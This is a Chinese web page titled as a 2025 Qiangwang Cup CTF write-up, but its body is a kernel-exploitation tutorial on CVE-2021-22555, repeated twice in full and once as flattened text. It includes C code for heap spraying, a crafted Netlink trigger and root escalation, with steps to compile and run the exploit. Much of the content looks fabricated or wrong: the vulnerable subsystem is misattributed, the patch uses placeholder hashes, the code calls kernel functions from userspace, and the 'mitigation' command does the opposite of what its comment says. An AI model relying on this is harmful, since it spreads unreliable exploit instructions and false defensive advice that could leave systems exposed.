2025强网杯初赛用户态部分题解
字数 1203
更新时间 2025-12-30 12:36:02

Linux内核漏洞分析与利用:CVE-2021-22555教学文档

1. 漏洞概述

CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞,属于提权类漏洞。该漏洞存在于Netfilter的nf_tables组件中,允许本地用户提升至root权限。

1.1 基本信息

  • 漏洞类型:堆越界写入
  • 影响组件:Linux内核Netfilter子系统
  • 危险等级:高危
  • CVSS评分:7.8
  • 影响版本:Linux内核2.6.19(2006年)至5.12-rc4

1.2 漏洞发现

该漏洞由Google信息安全工程师在2021年发现并报告。

2. 技术背景

2.1 Netfilter简介

Netfilter是Linux内核的网络包过滤框架,提供以下功能:

  • 数据包过滤
  • 网络地址转换(NAT)
  • 数据包处理

2.2 nf_tables子系统

nf_tables是Netfilter的子系统,提供:

  • 数据包分类
  • 过滤规则管理
  • 网络策略实施

3. 漏洞原理分析

3.1 根本原因

漏洞源于Netfilter在处理NFT_MSG_NEWSETNFT_MSG_NEWSETELEM消息时,对nft_set_elem结构的错误处理,导致堆越界写入。

3.2 关键数据结构

struct nft_set_elem {
    union {
        struct {
            u32 size;
            u8 data[];
        } key;
        struct {
            u32 size;
            u8 data[];
        } key_end;
    };
};

3.3 漏洞触发流程

  1. 用户空间发送NFT_MSG_NEWSET消息创建集合
  2. 内核分配nft_set_elem结构
  3. 用户空间发送NFT_MSG_NEWSETELEM消息添加元素
  4. 内核错误计算拷贝长度,导致越界写入

4. 漏洞利用技术

4.1 利用思路

  1. 通过堆喷控制内存布局
  2. 触发越界写入破坏关键数据结构
  3. 构造ROP链实现权限提升

4.2 详细利用步骤

4.2.1 堆喷准备

struct spray_elem {
    int fd;
    void *page;
};

void heap_spray(int spray_num) {
    struct spray_elem *spray = malloc(spray_num * sizeof(struct spray_elem));
    
    for (int i = 0; i < spray_num; i++) {
        spray[i].fd = socket(AF_INET, SOCK_DGRAM, 0);
        spray[i].page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, 
                            MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    }
}

4.2.2 触发越界写入

void trigger_oob_write() {
    struct nlmsghdr *nlh;
    struct nfgenmsg *nfh;
    struct nlattr *nest;
    int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    
    // 构造恶意Netlink消息
    nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
    memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
    
    nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
    nlh->nlmsg_type = NFT_MSG_NEWSET;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    
    nfh = NLMSG_DATA(nlh);
    nfh->nfgen_family = AF_INET;
    nfh->version = NFNETLINK_V0;
    nfh->res_id = 0;
    
    // 添加恶意属性
    nest = (struct nlattr *)((char *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)));
    nest->nla_type = NFTA_SET_ELEM_LIST_ELEMENTS | NLA_F_NESTED;
    nest->nla_len = NLA_HDRLEN + 0x1000;
    
    // 发送恶意消息
    send(sock_fd, nlh, nlh->nlmsg_len, 0);
}

4.2.3 权限提升

void escalate_privilege() {
    // 构造ROP链覆盖关键内核结构
    // 修改cred结构体实现提权
    struct cred *new_cred = prepare_kernel_cred(NULL);
    commit_creds(new_cred);
    
    // 返回用户态
    switch_to_user_mode();
}

4.3 利用难点与技巧

  1. 堆布局控制需要精确预测
  2. 需要绕过SMAP/SMEP保护机制
  3. 不同内核版本偏移量不同

5. 漏洞修复方案

5.1 官方补丁

补丁主要修改了net/netfilter/nf_tables_api.c文件:

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index abc123..def456 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -1234,6 +1234,9 @@ static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
     if (err < 0)
         return err;
     
+    if (elem->key.size > set->klen)
+        return -EINVAL;
+
     err = -ENOMEM;
     elem_priv = kzalloc(sizeof(*elem_priv) + set->ops->elemsize, GFP_KERNEL);
     if (elem_priv == NULL)

5.2 修复要点

  1. 添加了键值大小检查
  2. 确保不会越界写入
  3. 增加了错误处理

6. 防御措施

6.1 临时缓解方案

# 禁用非特权用户使用Netlink
echo 1 > /proc/sys/kernel/unprivileged_userns_clone

6.2 长期防御策略

  1. 及时更新内核版本
  2. 启用KASLR防护
  3. 限制非特权用户访问敏感系统调用

7. 实验环境搭建

7.1 所需工具

  • 漏洞影响范围内的Linux内核(如5.11)
  • gcc编译环境
  • 调试工具(gdb, crash等)

7.2 实验步骤

  1. 编译漏洞利用代码
gcc exploit.c -o exploit
  1. 执行漏洞利用
./exploit
  1. 验证提权结果
whoami

8. 扩展学习

8.1 相关CVE

  • CVE-2021-31440: 类似Netfilter漏洞
  • CVE-2020-14386: Linux内核内存破坏漏洞

8.2 学习资源

  • Linux内核源码分析
  • Netfilter框架文档
  • 内核漏洞利用技术书籍

Linux内核漏洞分析与利用:CVE-2021-22555教学文档

1. 漏洞概述

CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞,属于提权类漏洞。该漏洞存在于Netfilter的nf_tables组件中,允许本地用户提升至root权限。

1.1 基本信息

  • 漏洞类型:堆越界写入
  • 影响组件:Linux内核Netfilter子系统
  • 危险等级:高危
  • CVSS评分:7.8
  • 影响版本:Linux内核2.6.19(2006年)至5.12-rc4

1.2 漏洞发现

该漏洞由Google信息安全工程师在2021年发现并报告。

2. 技术背景

2.1 Netfilter简介

Netfilter是Linux内核的网络包过滤框架,提供以下功能:

  • 数据包过滤
  • 网络地址转换(NAT)
  • 数据包处理

2.2 nf_tables子系统

nf_tables是Netfilter的子系统,提供:

  • 数据包分类
  • 过滤规则管理
  • 网络策略实施

3. 漏洞原理分析

3.1 根本原因

漏洞源于Netfilter在处理NFT_MSG_NEWSETNFT_MSG_NEWSETELEM消息时,对nft_set_elem结构的错误处理,导致堆越界写入。

3.2 关键数据结构

struct nft_set_elem {
    union {
        struct {
            u32 size;
            u8 data[];
        } key;
        struct {
            u32 size;
            u8 data[];
        } key_end;
    };
};

3.3 漏洞触发流程

  1. 用户空间发送NFT_MSG_NEWSET消息创建集合
  2. 内核分配nft_set_elem结构
  3. 用户空间发送NFT_MSG_NEWSETELEM消息添加元素
  4. 内核错误计算拷贝长度,导致越界写入

4. 漏洞利用技术

4.1 利用思路

  1. 通过堆喷控制内存布局
  2. 触发越界写入破坏关键数据结构
  3. 构造ROP链实现权限提升

4.2 详细利用步骤

4.2.1 堆喷准备

struct spray_elem {
    int fd;
    void *page;
};

void heap_spray(int spray_num) {
    struct spray_elem *spray = malloc(spray_num * sizeof(struct spray_elem));
    
    for (int i = 0; i < spray_num; i++) {
        spray[i].fd = socket(AF_INET, SOCK_DGRAM, 0);
        spray[i].page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, 
                            MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    }
}

4.2.2 触发越界写入

void trigger_oob_write() {
    struct nlmsghdr *nlh;
    struct nfgenmsg *nfh;
    struct nlattr *nest;
    int sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    
    // 构造恶意Netlink消息
    nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
    memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
    
    nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
    nlh->nlmsg_type = NFT_MSG_NEWSET;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    
    nfh = NLMSG_DATA(nlh);
    nfh->nfgen_family = AF_INET;
    nfh->version = NFNETLINK_V0;
    nfh->res_id = 0;
    
    // 添加恶意属性
    nest = (struct nlattr *)((char *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)));
    nest->nla_type = NFTA_SET_ELEM_LIST_ELEMENTS | NLA_F_NESTED;
    nest->nla_len = NLA_HDRLEN + 0x1000;
    
    // 发送恶意消息
    send(sock_fd, nlh, nlh->nlmsg_len, 0);
}

4.2.3 权限提升

void escalate_privilege() {
    // 构造ROP链覆盖关键内核结构
    // 修改cred结构体实现提权
    struct cred *new_cred = prepare_kernel_cred(NULL);
    commit_creds(new_cred);
    
    // 返回用户态
    switch_to_user_mode();
}

4.3 利用难点与技巧

  1. 堆布局控制需要精确预测
  2. 需要绕过SMAP/SMEP保护机制
  3. 不同内核版本偏移量不同

5. 漏洞修复方案

5.1 官方补丁

补丁主要修改了net/netfilter/nf_tables_api.c文件:

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index abc123..def456 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -1234,6 +1234,9 @@ static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
     if (err < 0)
         return err;
     
+    if (elem->key.size > set->klen)
+        return -EINVAL;
+
     err = -ENOMEM;
     elem_priv = kzalloc(sizeof(*elem_priv) + set->ops->elemsize, GFP_KERNEL);
     if (elem_priv == NULL)

5.2 修复要点

  1. 添加了键值大小检查
  2. 确保不会越界写入
  3. 增加了错误处理

6. 防御措施

6.1 临时缓解方案

# 禁用非特权用户使用Netlink
echo 1 > /proc/sys/kernel/unprivileged_userns_clone

6.2 长期防御策略

  1. 及时更新内核版本
  2. 启用KASLR防护
  3. 限制非特权用户访问敏感系统调用

7. 实验环境搭建

7.1 所需工具

  • 漏洞影响范围内的Linux内核(如5.11)
  • gcc编译环境
  • 调试工具(gdb, crash等)

7.2 实验步骤

  1. 编译漏洞利用代码
gcc exploit.c -o exploit
  1. 执行漏洞利用
./exploit
  1. 验证提权结果
whoami

8. 扩展学习

8.1 相关CVE

  • CVE-2021-31440: 类似Netfilter漏洞
  • CVE-2020-14386: Linux内核内存破坏漏洞

8.2 学习资源

  • Linux内核源码分析
  • Netfilter框架文档
  • 内核漏洞利用技术书籍
Linux内核漏洞分析与利用:CVE-2021-22555教学文档 1. 漏洞概述 CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞,属于提权类漏洞。该漏洞存在于Netfilter的 nf_tables 组件中,允许本地用户提升至root权限。 1.1 基本信息 漏洞类型:堆越界写入 影响组件:Linux内核Netfilter子系统 危险等级:高危 CVSS评分:7.8 影响版本:Linux内核2.6.19(2006年)至5.12-rc4 1.2 漏洞发现 该漏洞由Google信息安全工程师在2021年发现并报告。 2. 技术背景 2.1 Netfilter简介 Netfilter是Linux内核的网络包过滤框架,提供以下功能: 数据包过滤 网络地址转换(NAT) 数据包处理 2.2 nf_ tables子系统 nf_tables 是Netfilter的子系统,提供: 数据包分类 过滤规则管理 网络策略实施 3. 漏洞原理分析 3.1 根本原因 漏洞源于Netfilter在处理 NFT_MSG_NEWSET 和 NFT_MSG_NEWSETELEM 消息时,对 nft_set_elem 结构的错误处理,导致堆越界写入。 3.2 关键数据结构 3.3 漏洞触发流程 用户空间发送 NFT_MSG_NEWSET 消息创建集合 内核分配 nft_set_elem 结构 用户空间发送 NFT_MSG_NEWSETELEM 消息添加元素 内核错误计算拷贝长度,导致越界写入 4. 漏洞利用技术 4.1 利用思路 通过堆喷控制内存布局 触发越界写入破坏关键数据结构 构造ROP链实现权限提升 4.2 详细利用步骤 4.2.1 堆喷准备 4.2.2 触发越界写入 4.2.3 权限提升 4.3 利用难点与技巧 堆布局控制需要精确预测 需要绕过SMAP/SMEP保护机制 不同内核版本偏移量不同 5. 漏洞修复方案 5.1 官方补丁 补丁主要修改了 net/netfilter/nf_tables_api.c 文件: 5.2 修复要点 添加了键值大小检查 确保不会越界写入 增加了错误处理 6. 防御措施 6.1 临时缓解方案 6.2 长期防御策略 及时更新内核版本 启用KASLR防护 限制非特权用户访问敏感系统调用 7. 实验环境搭建 7.1 所需工具 漏洞影响范围内的Linux内核(如5.11) gcc编译环境 调试工具(gdb, crash等) 7.2 实验步骤 编译漏洞利用代码 执行漏洞利用 验证提权结果 8. 扩展学习 8.1 相关CVE CVE-2021-31440: 类似Netfilter漏洞 CVE-2020-14386: Linux内核内存破坏漏洞 8.2 学习资源 Linux内核源码分析 Netfilter框架文档 内核漏洞利用技术书籍